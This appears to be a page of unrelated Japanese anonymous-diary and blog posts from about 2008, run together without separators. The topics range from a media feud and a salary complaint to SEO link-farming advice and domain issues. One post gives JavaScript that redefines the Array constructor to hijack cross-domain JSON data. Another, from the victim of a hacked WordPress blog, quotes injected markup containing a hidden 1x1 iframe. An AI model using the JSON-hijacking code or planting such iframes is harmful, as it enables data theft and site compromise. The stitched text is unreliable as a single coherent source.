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GIGAZINEの「iPhoneがソフトバンクから発売される」という記事はただの飛ばし記事の翻訳 | デジタルマガジン
要するに、「原文よく読んだらわかるけど、iPhoneがソフトバンクから発売されるというGIGAZINEの記事は誤報だぞ」ということを書いている。まあご存知のとおりiPhoneはソフトバンクから発売されることになったのだがそんなのは結果論だからどうこう言うつもりはない。むしろ今問題にしたいのは
3G対応iPhoneは6月発表でソフトバンクモバイルから発売か
という東スポチックな疑問系のタイトルの記事に対して、「弱い根拠を隠してる記事。誤報だと表明しろ」と噛み付いてしまうデジタルマガジンの精神の方だ。これは名を上げたいブロガーが良く使う手法、リンクベイトの一種である。この揚げ足取りの記事には、GIGAZINEを扱き下ろし、その位置に自分が取って代わろうという意図が見え隠れする。
確かにGIGAZINEも適当な翻訳をしてたり、根拠を明確にしてなかったりして問題がある。だがそれを批判するデジタルマガジンも似たようなものだ。
デジタルマガジンの「『Battlefield 3』が2008年11月14日に発売!」という記事はただの飛ばし記事の翻訳 :: gerenuk.crazyphoto.org/
上のデジマガの記事とほぼ同じ文体で、デジタルマガジンの記事に噛み付いている。「誤報だと表明しろ」と言っちゃった本人が誤報をした場合どういう対応をするのか、非常に興味があるが今のところ動きはないようだ。デジタルマガジンの誠意ある対応を期待したい。
まったくの別件で、デジタルマガジン著者の性格をうかがい知ることのできるページがある。
WordPress › フォーラム » テキストエディタ: 問題なく使えるもの、使ってはいけないもの
digimagaというIDがそれだが、lilyfanという人とやりあっている。このやりとりを見ればわかるとおり、自分の意見が受け入れられなかったり、人に言い負かされるのが大嫌いなようだ。口調も中々強い。その上、この一件にあてつけるように、
という記事まで書いている。たくさんはてブもらって溜飲を下げたと言ったところか。
もうひとつ特徴的なのがこれ。
話がそれましたが、未契約者への民事訴訟。できるもんなら今すぐにでもやって欲しい。NHKのドメインからメールで問い合わせ頂ければ、私の住所もお教えします。未契約者民事訴訟第一号、面白そうじゃないですか。
憲法における契約の自由が正しいか、それとも放送法における受信料支払いの義務が正しいか、このあたりで白黒ハッキリ決着をつけたいと思っています。その決着の主役に自分がなれる。これほど面白そうなことはありません。NHKの担当の方、ぜひデジタルマガジンまでご連絡下さい。
NHKの受信料未払い(もちろん法律違反である)を公言した上で、民事訴訟してみやがれと挑発している。これはこの記事が書かれるおよそ1週間前にニュースになった、白田秀彰の児童ポルノの単純所持宣言、
そこで私は、2001年まで完全に合法であり 一般書店で市販されていた「18歳未満の人物の裸の写真が扇情的な様相で掲載されている写真集」を現在一冊保有していることを宣言する。そして、法執行関係者に対しては、児童ポルノの単純所持が違法化された暁には (ほんとうに午前4時とかに来るのは勘弁してほしい。逃げたりはしないから)、他の誰を摘発するよりも先に、拙宅に来るように呼びかけたいと思う。法執行関係者が拙宅の住所を知りたければ、氏名職名を明らかにした上で、 メールアドレス 宛にメールをくだされば返答する。
に良く似ている、というかもろパクリ。ようするに、「デジタルマガジンは皆さんの味方! 権力に歯向かう俺ってカッコイイ! 庶民の視点に立ったニュースサイト!」ということをアピールしたいのだろう。
ここまで読んで、デジタルマガジンがいかに低レベルなニュースサイトなのかわかってもらえたと思う。「オーケーわかった大丈夫、自分はそんなサイトのニュースなんて見ないから」と思っている人もいるかもしれないが、もう少しだけ話に付き合って欲しい。
実はデジタルマガジンは、livedoorニュースの情報提供元としても知られている。
ここ数日では毎日新聞関連の記事が有名だろうか。
livedoor ニュース - 毎日新聞に学ぶ「売春で捕まらないための11の方法」
ニュースを読むときに情報がどういう経路をたどってきたのか、それが誰の意見であるのか、確認することを忘れないで欲しい。自分のサイトを棚に上げて、他所のメディアを批判するデジタルマガジンが間に入っていたら要注意。事実だけではなく著者の主観をごっちゃにしていたり、海外の記事を適当に翻訳していただけだったり、ソースを明らかにしないままあたかも自分が情報源ですという書き方をしたりしているのだから。
http://anond.hatelabo.jp/20080626025536
同じく20代半ば。
給料は151,500円+交通費8,000円。残業があればもうちょっと行くが、近頃は生産調整続きで残業がない。
以上給料から強制天引き計約50,000円也。残り109,500円。
てか団体損害保険とかいらないし。会社が負担してほしいわけだが。
以上がまともに生活して仕事していくために必要な固定費。
で、残金17,000円。
まぁ、読書と日曜プログラマなんて金のかからない趣味で、定時出社定時退社で時間もあるおかげでネットの副収入も6,000程度だけどあるし(ほとんどが鯖代・ドメイン費なんかで消えるが)、酒も煙草もやらないしヒキコモリ系人間なのでまだいいけど、ボーナスがなければお金なんて貯まるわけないやね(今年は業績が悪いからなんて理由で大幅カットだそうですよ面白い冗談だなー)。自動車は叔父が廃車にするというのをまんまとせしめたのでローン等は背負ってないのが救い。別に16年物の軽トラなのはこだわりがあるわけではありません。
あーたのしいなヒキコモリライフ。決して労働時間160で実質手取りの時給換算なんてしちゃだめですよ。
え? なに? 別に泣いてなんかいませんよ。恋?近頃低価格なエロゲ出てますけど、まだちょっと高いなー。彼女?ダッチワイフもずいぶん最近安くなりましたけど、それでもなかなか高くて手が出ません。ケッコン?何か事件でもあったんですか?嫌だなぁ血の跡なんて。シミになっちゃうとなかなか取れないんですよね。そうするとクリーニング代かー。また余計なお金がかかるなー。
まぁ、こんなんでもネタにできるくらいはたくましく生きてる。水道光熱住居費まで引いて俺の額面よりもらってるのに足りないって、純粋に何に使ってるか気になる。
今回は、当該月の推定接触者数上位200ドメインについて、
上位15位まで掲載しています。どうぞ、ご活用下さい。
【指標の説明】
・含有率:推定接触者数のうち、当該ターゲットが占める割合
・推定接触者数:当該ドメインのサイトを、期間内に1回でも利用した
───────────────────────────────────
調査期間:2008年5月1日(木)??2008年5月31日(土)
───────────────────────────────────
+---+--------------------------------+---------------+---------------++---+--------------------------------+---------------+---------------+
の含有率(%) (万人)
+---+--------------------------------+---------------+---------------+
1 windows.com 34.1 174
(マイクロソフト)
2 nikkei.co.jp 32.9 236
(日本経済新聞社)
(日本中央競馬会)
4 jiji.com 27.9 301
(時事通信社)
5 nikkeibp.co.jp 27.1 309
(日経BP)
6 mizuhobank.co.jp 26.3 211
(みずほ銀行)
7 asahi.com 26.2 281
(朝日新聞社)
8 caribbeancom.com 25.9 151
(カリビアンドットコム)
9 adobe.com 25.3 538
(アドビ)
10 fmworld.net 25.3 182
(富士通)
11 yahoo.com 24.4 205
(ヤフー)
12 windowsmedia.com 24.4 166
(マイクロソフト)
13 mapfan.com 23.5 164
(マップファン/インクリメントP)
14 121ware.com 23.2 245
(ワントゥワンウェア/日本電気)
(日本航空)
+-------------------------------------------------------------+
* 全ドメイン計のM3層(男性50歳以上)の含有率 18.0%
* 集計対象は弊社基準による。
+-------------------------------------------------------------+
8位…カリビアン あっぱれ。
海外にいる日本人が、日本の番組を録画して見るというささやかなサービスを、 NHKと在京キー局がよってたかって裁判でつぶすのは異常だ。彼らは著作権法を口実に使っているだけで、実際には全国で番組が見られるようになったら、県域免許でキー局の番組を垂れ流している地方民放の利権がおかされるからだろう。そういう利権あさりを裁判所が手助けするのも不見識だ。
著作権の保護期間を死後70年に延長するという話も、根拠がない。権利者団体も「収入増にはつながらない」ことを認めながら、「リスペクトが大事だ」という。著作権法は経済的権利を守る法律であって、リスペクトなどというものは関係ない。パブリックドメインになっている夏目漱石は、リスペクトされていないのか。
http://blog.goo.ne.jp/ikedanobuo/e/6a250f427f466cbda2e39990c7286cf0
胸がすっとする。
でも、すっとするだけじゃなく、自分ひとりでどんな応援ができるか考えてみる。
http://anond.hatelabo.jp/20080601175525
他の有料レンタルサーバを使ったことないので、あてにはできないけど。
プラン変更は出来ない。変更したい場合は別プランで新規登録後、データを移すことになる。
公式にはこちら
以下私の環境。これは割り当てられたサーバにより多少の違いがあり得る。その他詳細はアカウント毎に確認できる。
CPU | Intel(R) Pentium(R) M processor 2.00GHz |
メモリ | 2GB |
OS | FreeBSD 6.1-RELEASE-p23 i386 |
Apache | Apache/1.3.39 |
Perl | 5.8.8 |
Ruby | 1.8.5 |
Python | 2.4.5 |
ちょびっと追記とかした。
この流れに水ぶっかけるつもりは全くないし、むしろ諸氏の働きには大いに期待。
# Rubyは以前からドメイン持ってたのをハブサイトにしたのね。
# 個人的に1番面白いのはhttp://ruby-users.jp/の文言だと思うよ!
# そして個人的には今後http://ruby-users.jp/を応援するよ!
# そのためだけにRubyはじめてみるよ!
ただ、こういうのはどうせならwikiとかにしたほうがいいと思うよ。
# よくよく見たらSVN使ってたり既にwikiだったりしたところもあった。失礼。
1人で管理する形だと、もしその人が忙しくなったり体調崩したり情熱が冷めたりしたらどうすんだろうなと。
# ドメイン管理とかその辺はまあ必要だとして、サイトのコンテンツ自体の話ね。
最近ゲームとかのまとめでwikiが多用されてるのは、コンテンツ管理を皆で行えるのがとても大きい。
プログラム関係なら有名無名問わず情熱持ってる人は多いんだから、その情熱を1人で吸収する必要は全く無いと思う。
と言うか、管理人体制を採用したハブサイトはどっかで廃れるんじゃないかな。
あと個人的に、ハブサイトと聞くとハブられているサイト(仲間外れにされているサイト)っぽくて正直ピンとこない。
ポータルじゃだめなんだろうか。
なんとなくMichael Schwernにみんな踊らされすぎだと思う。
別にそこで無理にグローバルスタンダードに合わせなくてもいいんじゃないかなあ。
とか言う時点で時代遅れなんすかね。
ちなみにhttp://www.java-users.jp/は以前から存在してたんだけど、ハブサイトになれてるかどうかと言うと正直微妙。
YAPC::Asia 2008 で Michael Schwern は「SEO に有効な独自ドメインを取って、もっと Perl 初心者が集まりやすい nice な Perl の情報を集めたサイトを作れ!」といったそうです。
そして「Perl-users.jp - 日本のPerlユーザのためのハブサイト」ができました。
そしてさらにインスパイアされてできたのが「AS-users.jp - 日本の ActionScript ユーザのためのハブサイト」です。
ここまでやったらやっぱりPHPも思ったのでphp-users.jp ドメインを取ってしまいました。ジーザス、です。しかもドメインをとって勢いで公開!困ったものです。
以前より hatena界隈では、初心者や複雑な hatenaの話題をキャッチアップ出来ない hatena利用者をどうすくい上げるか、という議論を盛んに行っておりました。
これは酷いという思いから hatena-user.jp ドメインを取り、ここに hatena-users.jp を開始します。完全に perl-users.jp にインスパイアされています。本当にありがとうございます。
法案の是非を議論するときには、検閲という語を無造作に使うのは止めておいたほうがいいです。むしろ表現の自由の制約についての問題としたほうがいいです。
検閲というのは、憲法に書いてあるように、してはならないものです。
だから自民党の高市私案においても、この憲法に書いてあるような「検閲」にはならないような規定ぶりになっていたと聞いております(池田信夫氏のブログより)。
それなのに法案を「検閲」だから反対と言ってしまうのは、法律的な意味合いでの「検閲」の語を知らない者だと読み手に思わせる不利があります。そう思われてしまうと、主張の信頼性が低下します。法律を知らない者が法律の問題点を指摘しているようだけど、その指摘は正しいの?と。
反対者の足並みを乱してしまうんですね。
その点で、MiAUの発起人の崎山氏が、自ブログでbewaad氏に噛み付いていたのは、MiAUの足を引っ張ったと個人的には思いました。その崎山氏のエントリーでは、プレスリリースごときの粒度で「検閲」の語を使っても問題はなかった、そもそも国語辞典で「検閲」の語は云々であり、ユーザー団体のMiAUが憲法上の「検閲」に従って解釈する必要はない、みたいなことが書いてあったんです(崎山氏のブログは独自ドメインでアクセスログ取られているので、職場で見るのは遠慮しましょう。)。
けれど、MiAUは、プレスリリースを主要な活動の一つとしているのであり、しかも、法案の問題を指摘するのに、法律上ではない解釈で「検閲」の語を解釈して「検閲」になると思われると言われても、私には説得力がありませんでした。かえって、「検閲」の語を振り回して他人を不必要に煽っているのではないのかと疑問を持ちました。
話がずれました。
じゃあ、18歳未満が見ちゃいけないコンテンツを絶対に18歳未満の目に触れさせないにはどうするか。
それは高市氏が言ったことではない、あなたの想像でしょう。
※ここで書く18歳未満が見ちゃいけないコンテンツとは、アダルトや出会い系だけではない。政治・宗教はもちろん、SNSやコミュニティサイト(mixiやGREE)も含まれる可能性もある。
可能性とは、どれくらいの可能性なのか、「ある」とおっしゃるからには50%以上でしょうか。
私は、仮に法案が立法化されても、SNSやコミュニティサイトが法律上禁止される可能性は、ほとんどないと思います。数値的には、1パーセントもないぐらい。
前回の連載では、同一テーマからのリンクを集める方法として、大手ポータルサイトのディレクトリへの登録をご提案しました。その他にも効果的な方法が複数ありますので、今回はそれらを具体的に紹介していきます。
まず1番目は、無料ブログサービスを利用して同じテーマのブログを開設し、各記事からメインサイトにリンクを張るという方法です。
例えば、女性向けのヘアケア商品を販売していたとすると、ヘアケアに関するブログを開設し、毎回書く記事のどこかにメインサイトへのリンクを張ります。下記サイトでは、ページ下にメインサイトへのバナーを張っています。
私がこの話をするとセミナー参加者などから「どの無料ブログサービスがお勧めか?」と訊かれますが、今SEO対策上で最もお勧めできるのはアメーバブログです。
アメブロには「ペタ」というシステムがあり、他のアメブロユーザーが訪問時の足跡として「ペタ」を張ると、SEO上はリンクとして認められてリンク元がどんどん増えていくからです。
例えば、先ほど紹介した「女優ブログ!」のリンク元をYahoo!で検索すると、同じアメブロから「ペタ」を通じてリンクが増えていることがわかります。
その他のお勧めブログとしてはlivedoor、FC2、excite、Yahoo!、楽天、seesaaなどがあります。それらのブログを活用して、トップページだけでなく、商品詳細ページなどのサブページにもリンクを張れば、サブページも上位表示されるケースがたくさんありますので、ぜひお試しください。
次に2番目の方法は、新たに別のドメインネームを購入して専門店サイトを開設し、それらからメインサイトにリンクを張るというテクニックです。
例えば、あなたが海外旅行に関するメインサイトを運営していたとすると、専門サイトのテーマとしては次のようなものが考えられます。
この間どっかの記事で見つけて(これ自体は数年前から海外では言われていたことだが)ターゲットを探そうと頑張ってたんだけどいろいろと理由があってここで公開することにする。
javascriptは以下のようにコンストラクタを再定義できる。
function Array() { var obj = this; var ind = 0; var getNext = function(x) { obj[ind++] setter = getNext; if (x) { console.log(x.toString());//細工。 } }; this[ind++] setter = getNext; }
実はこれが問題で例えば、配列を含むオブジェクトをJSONで渡す際に必ずArrayコンストラクタが呼び出される。
上記のように少し細工をしておけばcallbackとかついてなくても内容を処理できるのでクロスドメイン対策がされている場合でもJSONからデータを読み取ることが出来る。
余談だが、Gmailなどではこれを回避するためにwhile 1を先頭につけることで無限ループさせている。
http://www.bk.mufg.jp/kariru/card/banquic/index.html
申し込みをクリックすると、
http://www.loan-alliance.com/banquic/nyuukai/apply_1.html
違うドメインのページへ飛ぶ。
なんか気持ち悪い。ついでにドメインのトップはもっと気持ち悪い。
怪しすぎるのでwhois
ACOM CO., LTD.
1-1, Marunouchi 2-chome
Chiyoda-ku, Tokyo 100-8307
phone : 0355330861 fax :
Domain Name : LOAN-ALLIANCE.COM
ショッピングカート付きネットショップ開業サービス 【おちゃのこネット】??安く開店、手軽に構築??
で、こんなお詫びを掲載しているショップオーナーがいるようだ。
http://www.contact.co.jp/blog/index.php?/archives/907_.html
3月13日(木) 1:00 AM頃より当サイトが表示されなく
せっかく来て頂いたお客様に多大なるご迷惑、ご心配をお掛け致しました。
この場を借りて深くお詫び申し上げます。
原因は当サイトが使っているocnk.netのドメインの一時失効です。
非が有るのは管理会社である事をご理解、ご了承下さい。
詳細は こちら
まだ観覧出来ない所が多数、報告されております。
DNSキャッシュの問題で最長で1??2週間かかるとも言われていますが
このような事が二度と起こらぬように厳しく対応を迫っていきます。
この度は誠に申し訳御座いませんでした。
全く理解できないのだが、
非が有るのは管理会社である事をご理解、ご了承下さい。
おいらだったら、こんなショップでの買い物はごめんこうむるがね。
なんか勘違いしているんじゃないのか。
youtubeが国別にドメイン分ける前はふつうに正規化してた覚えがあんだけど、最近の変化には対応できてないのか。naoyaんの気が向くまで待つしかなさげ?
wordpressを設置して1年。
放置しっぱなしのドメインがあって、そういえば明日で期限が切れるとおもって見に行った。
ウイルスバスターが反応した。
警告
ウイルスが見つかりました
ファイル名 wp-stats[1].htm
JS_PSYME.XP
概 要 対応方法 感染状況
参 照
別 名: Downloader (Symantec), TR/Dldr.HTML.Agent.IS (Avira),
感染報告の有無 : なし
言語: English
危険度: 低
感染報告: 低
ダメージ度: 低
感染力: 低
特 徴: Worm generic description
ざっと管理画面からどこか改変されてないかみてみたが見当たらなかった。
プラグインのせいだろうか?
いやそもそもこのSymantecの文字が気になる。
気になる事があるとすれば、
購読者 - (Subscriber)が7名いること。
ユーザー登録してなんになるんだろう。
runPHP狙いだろうか。Subscriberには権限を与えていないので意味がないはずだとおもう。
コメント投稿狙いだろうか。
Akismetがんばったね!!
ま、明日さくっと消しておこう。。。
わかった。記事の内容が書き換えられていた。
書き換えられていた記事は最後の書き込み。
ニコニコ動画のiframeの本来のタグを無効化して違うところを参照するifreameを書いてござった。
<iframe width="312" height="176" src="http://www.nicovideo.jp/thumb/XXXXXX" scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="http://www.nicovideo.jp/watch/XXXXXXX">【ニコニコ動画】XXXXXXXX</a></iframe> <iframe width="312" height="176" src="http://www.nicovideo.jp/thumb/XXXXXX" scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="http://www.nicovideo.jp/watch/XXXXXXX">【ニコニコ動画】XXXXXXXX</a></iframe>
これが
<iframe width="312" height="176" <noscript>XXXX(なんかスペイン語っぽい言葉) <a href="XXXXX">XXXXXXXX</a> XXXXXX</noscript> src="<a href="http://www.nicovideo.jp/thumb/XXXXX">http://www.nicovideo.jp/thumb/XXXXX</a>" scrolling="no" <noscript> XXXXXXXX(上と違う内容) <a href="XXXXXXX">XXXXXXX</a> XXXXXXXX </noscript> style="border:solid 1px #CCC;" frameborder="0"><a href=" <a href="http://www.nicovideo.jp/watch/XXXXXX"> http://www.nicovideo.jp/watch/XXXXXX</a> ">【ニコニコ動画】XXXXXX(1/2)</a></iframe> <p><iframe width="312" height="176" src=" <a href="http://www.nicovideo.jp/thumb/XXXX">http://www.nicovideo.jp/thumb/XXXXXX</a> "<!-- Traffic Statistics --> <iframe src=XXXXXXXX/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="<a href="http://www.nicovideo.jp/watch/XXXX">http://www.nicovideo.jp/watch/XXXX</a> ">【ニコニコ動画】XXXXXXXX(2/2)</a></iframe>
なにがしたいのかわからないが、
なんかもしかしたら3回ぐらい同じ系統で書き換えられてるのかもしれない。
やりかたはさっぱり想像できない。
でも、ここまで記事の内容が差し替えられるのだとしたら、管理者アカウントをのっとっちゃうのが一番てっとりばやいかな。
で、新しく記事が投稿されたのか監視するために購読者登録っと。
そんなところじゃないだろうか。。。
インターネットホームページの住所にあたるドメインで、国内の個人や団体に割り振られる「.jp」の登録数が1日現在で100万3285件と、100万件を超えた。「.jp」のドメイン名を管理する日本レジストリサービスが4日発表した。1年前の同時期から約10万件増えた。個人がブログで情報発信を進めていることなどが増加につながっているという。
電網基点頁の住所にあたる域で、国内の個人や団体に割り振られる「.jp」の登録数が1日現在で100万3285件と、100万件を超えた。「.jp」の域名を管理する日本レジストリサービスが4日発表した。1年前の同時期から約10万件増えた。個人が電網日記で情報発信を進めていることなどが増加につながっているという。
こんな感じ?
一応JISのX0001からX0020に情報処理用語ってのがあるんですけどね。昔に決まったのは、たまに新聞にある「読み出し専用外部記憶装置」とか、そんな奴だったりする。
Second Lifeのインストールディスク販売の正当性に関して。
一応、GPLやパブリックドメインなどでライセンスされたソフトは第三者による配布も販売も自由なので、「無料ソフトを販売する」こと自体が一律に非合法であるとか、倫理に反するなどということは無い。ましてや、その販売が営利、非営利に束縛されるものでもない。そして、Second Life自体はGPL互換に近い形のライセンス形態らしい。(詳しくは知らないけど(汗)。参考: https://wiki.secondlife.com/wiki/Unofficial_Licensing_FAQ )。
で、Second LifeのWikiを探ってみると、、、
(参考: https://wiki.secondlife.com/wiki/Redistribution )
Second Life及び、オープンソースなコンポーネントは再配布できそうな様子だが、Second Lifeが必要とするFMOD, Kakaduといった、いくつかのコンポーネントは再配布ができないので注意が必要である。
ということで、そのインストールディスクに再配布不能なコンポーネントがあるかどうか調べない限り、販売行為の正当性を問うことができないという結論に達しました。(調査がいろいろと不十分だけど。)
なんていうか、「アメリカだから」、「許してよ」でソフトウェアの再配布の正当性を主張されてもまずいと思った。
ちゃんとライセンス的に許可されていれば、ソフトウェアの再配布(有料)は可能なはずなので、そこを確認したかった。
とはいえ、付け焼き刃的な調査なので、自分で商売する場合は本記事を鵜呑みにしないで、ちゃんとライセンス関係は確認して欲しいと思います。